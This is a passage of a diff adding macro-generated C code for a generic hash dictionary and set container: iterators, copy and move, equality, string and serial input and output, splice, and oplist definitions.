+                                                                              \
+  M_INLINE it_deref_t *                                                       \
+  M_F(name, _ref)(const dict_it_t it)                                         \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    M_ASSERT(!M_F(name, _end_p)(it));                                         \
+    const M_F(name, _srcptr) d = it->dict;                                    \
+    M_D1CT_CONTRACT(d);                                                       \
+    /* NOTE: partially unsafe if the user modify the 'key'                    \
+       in a non equivalent way */                                             \
+    return &d->data[d->index[it->index].index].pair M_IF(isSet)(.key, );      \
+  }                                                                           \
+                                                                              \
+  M_INLINE const it_deref_t *                                                 \
+  M_F(name, _cref)(const dict_it_t it)                                        \
+  {                                                                           \
+    M_ASSERT(it != NULL);                                                     \
+    M_ASSERT(!M_F(name, _end_p)(it));                                         \
+    const M_F(name, _srcptr) d = it->dict;                                    \
+    M_D1CT_CONTRACT(d);                                                       \
+    return (const it_deref_t *) &d->data[d->index[it->index].index].pair M_IF(isSet)(.key, ); \
+  }                                                                           \
+                                                                              \
+  M_D1CT_FUNC_ADDITIONAL_DEF2(name, key_type, key_oplist, value_type, value_oplist, isSet, dict_t, dict_it_t, it_deref_t)
+
+
+/* Define additional functions for dictionary (Common for all kinds of dictionary).
+   Do not used any specific fields of the dictionary but the public API
+
+   It is not possible to define a method for IT_REMOVE: we could easily define it
+   by performing an _erase of the key get by the _cref method. However,
+   computing the next element is way harder. We could easily compute the next
+   element of the iteration (using _next). However with the _erase method, the
+   dict may perform a resize down operation, reducing the size of the array,
+   base of the dict, by two. This operation renders the computation of the
+   'next' element impossible as the order of the elements in the dict
+   has fundamentally changed in this case. We could detect this and restart
+   the iteration from the first element, but it wouldn't fit the contract
+   of the IT_REMOVE operator.
+
+   HASH method for dictionary itself seems hard to implement:
+   we have to handle the case where two dictionaries are structurally
+   different, but functionally identical (seems they have the same
+   members, but put in a different order).
+   We cannot iterator over the dictionary to compute a hash, as the
+   order of the items in the dictionary is not specified: they more
+   or less follow the hash of the keys, but if the low bits of the
+   hash of the key is equal, they order may be different.
+   Or if the table of the dictionary has different values (this may
+   be avoided).
+ */
+#define M_D1CT_FUNC_ADDITIONAL_DEF2(name, key_type, key_oplist, value_type, value_oplist, isSet, dict_t, dict_it_t, it_deref_t) \
+                                                                              \
+                                                                              \
+  M_P(void, name, _init_set, dict_t map, const dict_t org)                    \
+  {                                                                           \
+    dict_it_t it;                                                             \
+    M_ASSERT (map != org);                                                    \
+    M_F(name, _init)M_R(map);                                                 \
+    /* Naive implementation. No need to optimize such access */               \
+    for (M_F(name,_it)(it, org); !M_F(name,_end_p)(it); M_F(name,_next)(it)){ \
+      M_IF(isSet)(                                                            \
+        M_F(name,_push)M_R(map, * M_F(name,_ref)(it) )                        \
+      , M_F(name,_set_at)M_R(map, M_F(name,_ref)(it)->key, M_F(name,_ref)(it)->value) \
+      );                                                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, dict_t map, const dict_t org)                         \
+  {                                                                           \
+    if (M_LIKELY (map != org)) {                                              \
+      /* Naive implementation. No need to optimize such access */             \
+      M_F(name, _clear)M_R(map);                                              \
+      M_F(name, _init_set)M_R(map, org);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, dict_t map, dict_t org)                              \
+  {                                                                           \
+    M_ASSERT (map != org);                                                    \
+    M_F(name,_clear)M_R(map);                                                 \
+    M_F(name,_init_move)(map, org);                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(dict_t d1, dict_t d2)                                      \
+  {                                                                           \
+    /* Naive swap (not worth optimizing) */                                   \
+    dict_t tmp;                                                               \
+    memcpy( tmp, d1, sizeof (dict_t));                                        \
+    memcpy( d1, d2, sizeof (dict_t));                                         \
+    memcpy( d2, tmp, sizeof (dict_t));                                        \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, dict_t d)                                           \
+  {                                                                           \
+    if (d->count == 0) return;                                                \
+    /* Naive algorithm. Not work optimizing it */                             \
+    M_F(name, _clear)M_R(d);                                                  \
+    M_F(name, _init)M_R(d);                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_type const *                                                 \
+  M_F(name, _cget)(const dict_t map, key_type const key)                      \
+  {                                                                           \
+    return M_CONST_CAST(value_type, M_F(name,_get)(map, key));                \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name,_empty_p)(const dict_t map)                                        \
+  {                                                                           \
+    M_ASSERT(map != NULL);                                                    \
+    return map->count == 0;                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name,_size)(const dict_t map)                                           \
+  {                                                                           \
+    M_ASSERT(map != NULL);                                                    \
+    return map->count;                                                        \
+  }                                                                           \
+                                                                              \
+  M_P(void, name,_reserve, dict_t dict, size_t capacity)                      \
+  {                                                                           \
+    if (capacity == 0) {                                                      \
+      /* Perform a shrink to fit: copy everything to a new dict properly, and move it back */ \
+      dict_t tmp;                                                             \
+      M_F(name, _init_set)M_R(tmp, dict);                                     \
+      M_F(name, _move)M_R(dict, tmp);                                         \
+      return;                                                                 \
+    }                                                                         \
+    /* Get the size which will allow to fit this capacity                     \
+       NOTE: Strictly speaking we need to perform a round up to ensure        \
+       that no reallocation of the hash map occurs up to capacity */          \
+    M_F(name, _index_ct) size = (M_F(name, _index_ct))                        \
+      m_core_roundpow2 ((uint64_t) (1.0+(double) capacity * (1.0 / M_D1CT_OA_UPPER_BOUND))); \
+    M_ASSERT (M_POWEROF2_P(size));                                            \
+    /* Test for overflow of the computation */                                \
+    if (M_UNLIKELY_NOMEM (size < capacity)) {                                 \
+      M_MEMORY_FULL(char, (size_t)-1);                                        \
+    }                                                                         \
+    if (size > dict->mask+1) {                                                \
+      dict->upper_limit = (M_F(name, _index_ct)) ((double) size * M_D1CT_OA_UPPER_BOUND) - 1; \
+      M_F(name,_i_resize_up)M_R(dict, size, false);                           \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(EQUAL, value_oplist)(                                           \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const dict_t dict1, const dict_t dict2)                 \
+  {                                                                           \
+    M_ASSERT (dict1 != NULL && dict2 != NULL);                                \
+    /* NOTE: Key type has mandatory equal operator */                         \
+    /* First the easy cases */                                                \
+    if (M_LIKELY (dict1->count != dict2->count))                              \
+      return false;                                                           \
+    if (M_UNLIKELY (dict1->count == 0))                                       \
+      return true;                                                            \
+    /* Otherwise this is the slow path :                                      \
+       both dictionary may not have arrays with the same size, but            \
+       still the dictionaries shall be equal as they contain the same         \
+       items. */                                                              \
+    dict_it_t it;                                                             \
+    for(M_F(name, _it)(it, dict1) ;                                           \
+        !M_F(name, _end_p)(it);                                               \
+        M_F(name, _next)(it)) {                                               \
+      const it_deref_t *item = M_F(name, _cref)(it);                          \
+      value_type *ptr = M_F(name, _get)(dict2, M_IF(isSet)(*item, item->key)); \
+      if (ptr == NULL)                                                        \
+        return false;                                                         \
+      if (M_CALL_EQUAL(value_oplist, item->value, *ptr) == false)             \
+        return false;                                                         \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+  , /* no value equal */ )                                                    \
+                                                                              \
+  M_IF_METHOD_BOTH(GET_STR, key_oplist, value_oplist)(                        \
+  M_P(void, name, _get_str, m_string_t str, const dict_t dict, const bool append) \
+  {                                                                           \
+    (append ? m_string_cat_cstr : m_string_set_cstr)M_R(str, "{");            \
+    dict_it_t it;                                                             \
+    bool print_comma = false;                                                 \
+    for (M_F(name, _it)(it, dict) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      if (print_comma)                                                        \
+        m_string_push_back M_R(str, ',');                                     \
+      const it_deref_t *item = M_F(name, _cref)(it);                          \
+      M_IF(isSet)(                                                            \
+                  M_CALL_GET_STR(key_oplist, str, *item, true);               \
+                  ,                                                           \
+                  M_CALL_GET_STR(key_oplist, str, item->key, true);           \
+                  m_string_push_back M_R(str, ':');                           \
+                  M_CALL_GET_STR(value_oplist, str, item->value, true);       \
+                  )                                                           \
+      print_comma = true;                                                     \
+    }                                                                         \
+    m_string_push_back M_R(str, '}');                                         \
+  }                                                                           \
+  , /* no GET_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD_BOTH(OUT_STR, key_oplist, value_oplist)(                        \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const dict_t dict)                          \
+  {                                                                           \
+    M_ASSERT (file != NULL);                                                  \
+    fputc ('{', file);                                                        \
+    dict_it_t it;                                                             \
+    bool print_comma = false;                                                 \
+    for (M_F(name, _it)(it, dict) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      if (print_comma)                                                        \
+        fputc (',', file);                                                    \
+      const it_deref_t *item = M_F(name, _cref)(it);                          \
+      M_IF(isSet)(                                                            \
+                  M_CALL_OUT_STR(key_oplist, file, *item);                    \
+                  ,                                                           \
+                  M_CALL_OUT_STR(key_oplist, file, item->key);                \
+                  fputc (':', file);                                          \
+                  M_CALL_OUT_STR(value_oplist, file, item->value);            \
+                  )                                                           \
+      print_comma = true;                                                     \
+    }                                                                         \
+    fputc ('}', file);                                                        \
+  }                                                                           \
+  , /* no OUT_STR */ )                                                        \
+                                                                              \
+  M_IF_METHOD_BOTH(PARSE_STR, key_oplist, value_oplist)(                      \
+  M_P(bool, name, _parse_str, dict_t dict, const char str[], const char **endp) \
+  {                                                                           \
+    M_ASSERT (str != NULL);                                                   \
+    M_F(name, _reset)M_R(dict);                                               \
+    int c = m_core_str_nospace(&str);                                         \
+    if (M_UNLIKELY (c != '{')) { c = 0; goto exit; }                          \
+    c = m_core_str_nospace(&str);                                             \
+    if (M_UNLIKELY (c == '}' || c == 0)) goto exit;                           \
+    str--;                                                                    \
+    M_QLET(1, key, key_type, key_oplist)                                      \
+    M_IF(isSet)(,M_QLET(2, value, value_type, value_oplist)) {                \
+      do {                                                                    \
+        c = m_core_str_nospace(&str);                                         \
+        str--;                                                                \
+        bool b = M_CALL_PARSE_STR(key_oplist, key, str, &str);                \
+        M_IF(isSet)(                                                          \
+            if (b == false) { c = 0; break; }                                 \
+            M_F(name, _push)M_R(dict, key);                                   \
+          , /* is a map */                                                    \
+            c = m_core_str_nospace(&str);                                     \
+            if (b == false || c != ':') { c = 0; break; }                     \
+            c = m_core_str_nospace(&str);                                     \
+            str--;                                                            \
+            b = M_CALL_PARSE_STR(value_oplist, value, str, &str);             \
+            if (b == false) { c = 0; break; }                                 \
+            M_F(name, _set_at)M_R(dict, key, value);                          \
+          )                                                                   \
+        c = m_core_str_nospace(&str);                                         \
+      } while (c == ',');                                                     \
+    }                                                                         \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    return c == '}';                                                          \
+  }                                                                           \
+  , /* no PARSE_STR */ )                                                      \
+                                                                              \
+  M_IF_METHOD_BOTH(IN_STR, key_oplist, value_oplist)(                         \
+  M_P(bool, name, _in_str, dict_t dict, FILE *file)                           \
+  {                                                                           \
+    M_ASSERT (file != NULL);                                                  \
+    M_F(name, _reset)M_R(dict);                                               \
+    int c = m_core_fgetc_nospace(file);                                       \
+    if (M_UNLIKELY (c != '{')) return false;                                  \
+    c = m_core_fgetc_nospace(file);                                           \
+    if (M_UNLIKELY(c == '}')) return true;                                    \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, key, key_type, key_oplist)                                      \
+    M_IF(isSet)(,M_QLET(2, value, value_type, value_oplist)) {                \
+      do {                                                                    \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (M_UNLIKELY (c == EOF)) { break; }                                 \
+        ungetc(c, file);                                                      \
+        bool b = M_CALL_IN_STR(key_oplist, key, file);                        \
+        M_IF(isSet)(                                                          \
+            if (M_UNLIKELY (b == false)) { c = 0; break; }                    \
+            M_F(name, _push)M_R(dict, key);                                   \
+        , /* is map */                                                        \
+            c = m_core_fgetc_nospace(file);                                   \
+            if (M_UNLIKELY (b == false || c != ':')) { c = 0; break; }        \
+            c = m_core_fgetc_nospace(file);                                   \
+            if (M_UNLIKELY (c == EOF)) { break; }                             \
+            ungetc(c, file);                                                  \
+            b = M_CALL_IN_STR(value_oplist, value, file);                     \
+            if (M_UNLIKELY (b == false)) { c = 0; break; }                    \
+            M_F(name, _set_at)M_R(dict, key, value);                          \
+        )                                                                     \
+      c = m_core_fgetc_nospace(file);                                         \
+      } while (c == ',');                                                     \
+    }                                                                         \
+    return c == '}';                                                          \
+  }                                                                           \
+  , /* no IN_STR */ )                                                         \
+                                                                              \
+  M_IF_METHOD_BOTH(OUT_SERIAL, key_oplist, value_oplist)(                     \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, dict_t const t1) \
+  {                                                                           \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    const it_deref_t *item;                                                   \
+    bool first_done = false;                                                  \
+    dict_it_t it;                                                             \
+    /* Format is different between associative container                      \
+       & set container */                                                     \
+    M_IF(isSet)(                                                              \
+                ret = f->m_interface->write_array_start M_R(local, f, M_F(name, _size)(t1)); \
+                for (M_F(name, _it)(it, t1) ;                                 \
+                     !M_F(name, _end_p)(it);                                  \
+                     M_F(name, _next)(it)){                                   \
+                  item = M_F(name, _cref)(it);                                \
+                  if (first_done)                                             \
+                    ret |= f->m_interface->write_array_next M_R(local, f);    \
+                  ret |= M_CALL_OUT_SERIAL(key_oplist, f, *item);             \
+                  first_done = true;                                          \
+                }                                                             \
+                ret |= f->m_interface->write_array_end M_R(local, f);         \
+                ,                                                             \
+                ret = f->m_interface->write_map_start M_R(local, f, M_F(name, _size)(t1)); \
+                for (M_F(name, _it)(it, t1) ;                                 \
+                     !M_F(name, _end_p)(it);                                  \
+                     M_F(name, _next)(it)){                                   \
+                  item = M_F(name, _cref)(it);                                \
+                  if (first_done)                                             \
+                    ret |= f->m_interface->write_map_next M_R(local, f);      \
+                  ret |= M_CALL_OUT_SERIAL(key_oplist, f, item->key);         \
+                  ret |= f->m_interface->write_map_value M_R(local, f);       \
+                  ret |= M_CALL_OUT_SERIAL(value_oplist, f, item->value);     \
+                  first_done = true;                                          \
+                }                                                             \
+                ret |= f->m_interface->write_map_end M_R(local, f);           \
+                                                                        )     \
+      return ret & M_SERIAL_FAIL;                                             \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD_BOTH(IN_SERIAL, key_oplist, value_oplist)(                      \
+  M_P(m_serial_return_code_t, name, _in_serial, dict_t t1, m_serial_read_t f) \
+  {                                                                           \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_local_t local;                                                   \
+    m_serial_return_code_t ret;                                               \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(t1);                                                  \
+    M_QLET(1, key, key_type, key_oplist)                                      \
+    M_IF(isSet)(,M_QLET(2, value, value_type, value_oplist)) {                \
+        M_IF(isSet)(                                                          \
+            ret = f->m_interface->read_array_start(local, f, &estimated_size); \
+            if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) break;              \
+            do {                                                              \
+              ret = M_CALL_IN_SERIAL(key_oplist, key, f);                     \
+              if (ret != M_SERIAL_OK_DONE) break;                             \
+              M_F(name, _push)M_R(t1, key);                                   \
+            } while ((ret = f->m_interface->read_array_next(local, f)) == M_SERIAL_OK_CONTINUE); \
+        , /* is map */                                                        \
+            ret = f->m_interface->read_map_start(local, f, &estimated_size);  \
+            if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) break;              \
+            do {                                                              \
+              ret = M_CALL_IN_SERIAL(key_oplist, key, f);                     \
+              if (ret != M_SERIAL_OK_DONE) break;                             \
+              ret = f->m_interface->read_map_value(local, f);                 \
+              if (ret != M_SERIAL_OK_CONTINUE) break;                         \
+              ret = M_CALL_IN_SERIAL(value_oplist, value, f);                 \
+              if (ret != M_SERIAL_OK_DONE) break;                             \
+              M_F(name, _set_at)M_R(t1, key, value);                          \
+            } while ((ret = f->m_interface->read_map_next(local, f)) == M_SERIAL_OK_CONTINUE); \
+        ) /* End of IF isSet */                                               \
+    }                                                                         \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no in_serial */ )                                                      \
+                                                                              \
+  M_IF(isSet)(                                                                \
+  M_P(void, name, _splice, dict_t d1, dict_t d2)                              \
+  {                                                                           \
+    dict_it_t it;                                                             \
+    M_ASSERT(d1 != d2);                                                       \
+    /* NOTE: Despite using set_at, the accessing of the item in d1            \
+       is not as random as other uses of the HASH table as d2                 \
+       uses the same order than d1 */                                         \
+    for (M_F(name, _it)(it, d2); !M_F(name, _end_p)(it); M_F(name, _next)(it)){ \
+      const it_deref_t *item = M_F(name, _cref)(it);                          \
+      M_F(name, _push)M_R(d1, *item);                                         \
+    }                                                                         \
+    M_F(name, _reset)M_R(d2);                                                 \
+  }                                                                           \
+  ,                                                                           \
+  M_IF_METHOD(ADD, value_oplist)(                                             \
+  M_P(void, name, _splice, dict_t d1, dict_t d2)                              \
+  {                                                                           \
+    dict_it_t it;                                                             \
+    /* NOTE: Despite using set_at, the accessing of the item in d1            \
+       is not as random as other uses of the HASH table as d2                 \
+       uses the same order than d1 */                                         \
+    for (M_F(name, _it)(it, d2); !M_F(name, _end_p)(it); M_F(name, _next)(it)){ \
+      const struct M_F(name, _pair_s) *item = M_F(name, _cref)(it);           \
+      value_type *ptr = M_F(name, _get)(d1, item->key);                       \
+      if (ptr == NULL) {                                                      \
+        M_F(name, _set_at)M_R(d1, item->key, item->value);                    \
+      } else {                                                                \
+        M_CALL_ADD(value_oplist, *ptr, *ptr, item->value);                    \
+      }                                                                       \
+    }                                                                         \
+    M_F(name, _reset)M_R(d2);                                                 \
+  }                                                                           \
+  , /* NO UPDATE */) )                                                        \
+                                                                              \
+  M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF(isSet, name, dict_t, key_oplist, value_oplist)
+
+
+/******************************** INTERNAL ***********************************/
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_D1CT_OPLIST_P1(arg) M_D1CT_OPLIST_P2 arg
+
+/* Validation of the given oplists */
+#define M_D1CT_OPLIST_P2(name, key_oplist, value_oplist)                      \
+  M_IF_OPLIST(key_oplist)(M_D1CT_OPLIST_P3, M_D1CT_OPLIST_FAILURE)(name, key_oplist, value_oplist)
+#define M_D1CT_OPLIST_P3(name, key_oplist, value_oplist)                      \
+  M_IF_OPLIST(value_oplist)(M_D1CT_OPLIST_P4, M_D1CT_OPLIST_FAILURE)(name, key_oplist, value_oplist)
+
+/* Prepare a clean compilation failure */
+#define M_D1CT_OPLIST_FAILURE(name, key_oplist, value_oplist)                 \
+  ((M_LIB_ERROR(ARGUMENT_OF_DICT_OPLIST_IS_NOT_AN_OPLIST, name, key_oplist, value_oplist)))
+
+/* Define the oplist of a dictionary
+   NOTE: IT_REF is not exported so that the contained appears as not modifiable
+   by algorithm.*/
+#ifndef M_USE_CONTEXT
+#define M_D1CT_OPLIST_P4(name, key_oplist, value_oplist)                      \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_KEY_VAI)),                                          \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(M_F(name, _move)),                                                    \
+   SWAP(M_F(name, _swap)),                                                    \
+   RESET(M_F(name, _reset)),                                                  \
+   NAME(name),                                                                \
+   TYPE(M_F(name, _ct)), GENTYPE(struct M_F(name,_s)*),                       \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name, _it_set)),                                                \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_CREF(M_F(name,_cref))                                                   \
+   ,KEY_TYPE(M_F(name, _key_ct))                                              \
+   ,VALUE_TYPE(M_F(name, _value_ct))                                          \
+   ,SET_KEY(M_F(name, _set_at))                                               \
+   ,GET_KEY(M_F(name, _get))                                                  \
+   ,SAFE_GET_KEY(M_F(name, _safe_get))                                        \
+   ,ERASE_KEY(M_F(name, _erase))                                              \
+   ,KEY_OPLIST(key_oplist)                                                    \
+   ,VALUE_OPLIST(value_oplist)                                                \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,M_IF_METHOD_BOTH(GET_STR, key_oplist, value_oplist)(GET_STR(M_F(name, _get_str)),) \
+   ,M_IF_METHOD_BOTH(PARSE_STR, key_oplist, value_oplist)(PARSE_STR(M_F(name, _parse_str)),) \
+   ,M_IF_METHOD_BOTH(OUT_STR, key_oplist, value_oplist)(OUT_STR(M_F(name, _out_str)),) \
+   ,M_IF_METHOD_BOTH(IN_STR, key_oplist, value_oplist)(IN_STR(M_F(name, _in_str)),) \
+   ,M_IF_METHOD_BOTH(OUT_SERIAL, key_oplist, value_oplist)(OUT_SERIAL(M_F(name, _out_serial)),) \
+   ,M_IF_METHOD_BOTH(IN_SERIAL, key_oplist, value_oplist)(IN_SERIAL(M_F(name, _in_serial)),) \
+   ,M_IF_METHOD(EQUAL, value_oplist)(EQUAL(M_F(name, _equal_p)),)             \
+   )
+#else
+#define M_D1CT_OPLIST_P4(name, key_oplist, value_oplist)                      \
+  (INIT(API_0P(M_F(name, _init))),                                            \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_KEY_VAI)),                                          \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
+   SWAP(M_F(name, _swap)),                                                    \
+   RESET(API_0P(M_F(name, _reset))),                                          \
+   NAME(name), TYPE(M_F(name, _ct)), GENTYPE(struct M_F(name,_s)*),           \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name, _it_set)),                                                \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_CREF(M_F(name,_cref))                                                   \
+   ,KEY_TYPE(M_F(name, _key_ct))                                              \
+   ,VALUE_TYPE(M_F(name, _value_ct))                                          \
+   ,SET_KEY(API_0P(M_F(name, _set_at)))                                       \
+   ,GET_KEY(M_F(name, _get))                                                  \
+   ,SAFE_GET_KEY(API_0P(M_F(name, _safe_get)))                                \
+   ,ERASE_KEY(API_0P(M_F(name, _erase)))                                      \
+   ,KEY_OPLIST(key_oplist)                                                    \
+   ,VALUE_OPLIST(value_oplist)                                                \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,M_IF_METHOD_BOTH(GET_STR, key_oplist, value_oplist)(API_0P(GET_STR(M_F(name, _get_str))),) \
+   ,M_IF_METHOD_BOTH(PARSE_STR, key_oplist, value_oplist)(API_0P(PARSE_STR(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD_BOTH(OUT_STR, key_oplist, value_oplist)(OUT_STR(M_F(name, _out_str)),) \
+   ,M_IF_METHOD_BOTH(IN_STR, key_oplist, value_oplist)(IN_STR(API_0P(M_F(name, _in_str))),) \
+   ,M_IF_METHOD_BOTH(OUT_SERIAL, key_oplist, value_oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD_BOTH(IN_SERIAL, key_oplist, value_oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,M_IF_METHOD(EQUAL, value_oplist)(EQUAL(M_F(name, _equal_p)),)             \
+   )
+#endif
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_D1CT_SET_OPLIST_P1(arg) M_D1CT_SET_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_D1CT_SET_OPLIST_P2(name, oplist)                                    \
+  M_IF_OPLIST(oplist)(M_D1CT_SET_OPLIST_P3, M_D1CT_SET_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_D1CT_SET_OPLIST_FAILURE(name, oplist)                               \
+  ((M_LIB_ERROR(ARGUMENT_OF_DICT_SET_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Define the oplist of a set
+   Note: IT_REF is not exported so that the contained appears as not modifiable
+*/
+#ifndef M_USE_CONTEXT
+#define M_D1CT_SET_OPLIST_P3(name, oplist)                                    \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_VAI)),                                              \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(M_F(name, _move)),                                                    \
+   SWAP(M_F(name, _swap)),                                                    \
+   RESET(M_F(name, _reset)),                                                  \
+   NAME(name),                                                                \
+   TYPE(M_F(name, _ct)), GENTYPE(struct M_F(name,_s)*),                       \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   PUSH(M_F(name,_push)),                                                     \
+   KEY_TYPE(M_F(name, _key_ct)),                                              \
+   VALUE_TYPE(M_F(name, _key_ct)),                                            \
+   GET_KEY(M_F(name, _get)),                                                  \
+   SAFE_GET_KEY(M_F(name, _safe_get)),                                        \
+   ERASE_KEY(M_F(name, _erase)),                                              \
+   KEY_OPLIST(oplist),                                                        \
+   VALUE_OPLIST(oplist),                                                      \
+   GET_SIZE(M_F(name, _size)),                                                \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name, _it_set)),                                                \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_CREF(M_F(name,_cref))                                                   \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   ,EQUAL(M_F(name, _equal_p)),                                               \
+   )
+#else
+#define M_D1CT_SET_OPLIST_P3(name, oplist)                                    \
+  (INIT(API_0P(M_F(name, _init))),                                            \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_VAI)),                                              \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
+   SWAP(M_F(name, _swap)),                                                    \
+   RESET(API_0P(M_F(name, _reset))),                                          \
+   NAME(name), TYPE(M_F(name, _ct)), GENTYPE(struct M_F(name,_s)*),           \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   PUSH(API_0P(M_F(name,_push))),                                             \
+   KEY_TYPE(M_F(name, _key_ct)),                                              \
+   VALUE_TYPE(M_F(name, _key_ct)),                                            \
+   GET_KEY(M_F(name, _get)),                                                  \
+   SAFE_GET_KEY(API_0P(M_F(name, _safe_get))),                                \
+   ERASE_KEY(API_0P(M_F(name, _erase))),                                      \
+   KEY_OPLIST(oplist),                                                        \
+   VALUE_OPLIST(oplist),                                                      \
+   GET_SIZE(M_F(name, _size)),                                                \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name, _it_set)),                                                \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_CREF(M_F(name,_cref))                                                   \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
